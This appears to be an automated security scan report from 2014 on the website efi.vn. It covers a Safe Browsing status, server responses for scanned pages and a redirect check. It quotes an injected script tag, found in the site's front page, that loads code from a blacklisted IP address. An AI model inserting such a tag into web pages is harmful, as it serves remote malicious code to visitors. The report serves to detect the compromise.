Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=efi.vn
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://efi.vn/ | HTTP/1.1 302 Moved Temporarily Date: Thu, 10 Apr 2014 02:01:58 GMT Location: http://efi.vn/frontend/ Server: Microsoft-IIS/7.5 Content-Length: 146 Content-Type: text/html; charset=UTF-8 X-Powered-By: PHP/5.4.12 X-Powered-By: ASP.NET | clean |
http://efi.vn/frontend/ | 200 OK Content-Length: 25516 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: 72.167.37.193 <script type="text/javascript" src="http://72.167.37.193/BtKMFBep.php?id="></script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="vi-vn" lang="vi-vn" > <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta name="robots" content="index, follow" /> <meta name="keywords" c ...[32064 bytes skipped]... | ||
http://72.167.37.193/BtKMFBep.php?id= | HTTP/1.1 302 Found Connection: close Date: Thu, 10 Apr 2014 00:54:25 GMT Location: http://localhost/ Server: Apache Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html MS-Author-Via: DAV X-Powered-By: PleskLin | clean |
http://localhost/ | 200 OK Content-Length: 3700 Content-Type: text/html | clean |
http://s7.addthis.com/js/250/addthis_widget.js | 200 OK Content-Length: 6816 Content-Type: text/javascript | clean |
http://72.167.37.193/test404page.js | 404 Not Found Content-Length: 955 Content-Type: text/html | clean |
http://efi.vn/frontend/media/system/js/caption.js | 200 OK Content-Length: 4064 Content-Type: application/x-javascript | clean |
http://efi.vn/frontend/templates/bj_venus/func/jquery-1.4.2.js | 200 OK Content-Length: 74353 Content-Type: application/x-javascript | clean |
http://efi.vn/frontend/templates/bj_venus/func/venus.js | 200 OK Content-Length: 11368 Content-Type: application/x-javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: efi.vn
Result:
HTTP/1.1 302 Moved Temporarily
Date: Thu, 10 Apr 2014 02:01:58 GMT
Location: http://efi.vn/frontend/
Server: Microsoft-IIS/7.5
Content-Length: 146
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.4.12
X-Powered-By: ASP.NET
...146 bytes of data.
GET / HTTP/1.1
Host: efi.vn
Result:
HTTP/1.1 302 Moved Temporarily
Date: Thu, 10 Apr 2014 02:01:58 GMT
Location: http://efi.vn/frontend/
Server: Microsoft-IIS/7.5
Content-Length: 146
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.4.12
X-Powered-By: ASP.NET
...146 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: efi.vn
Referer: http://www.google.com/search?q=efi.vn
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: efi.vn
Referer: http://www.google.com/search?q=efi.vn
Result:
The result is similar to the first query. There are no suspicious redirects found.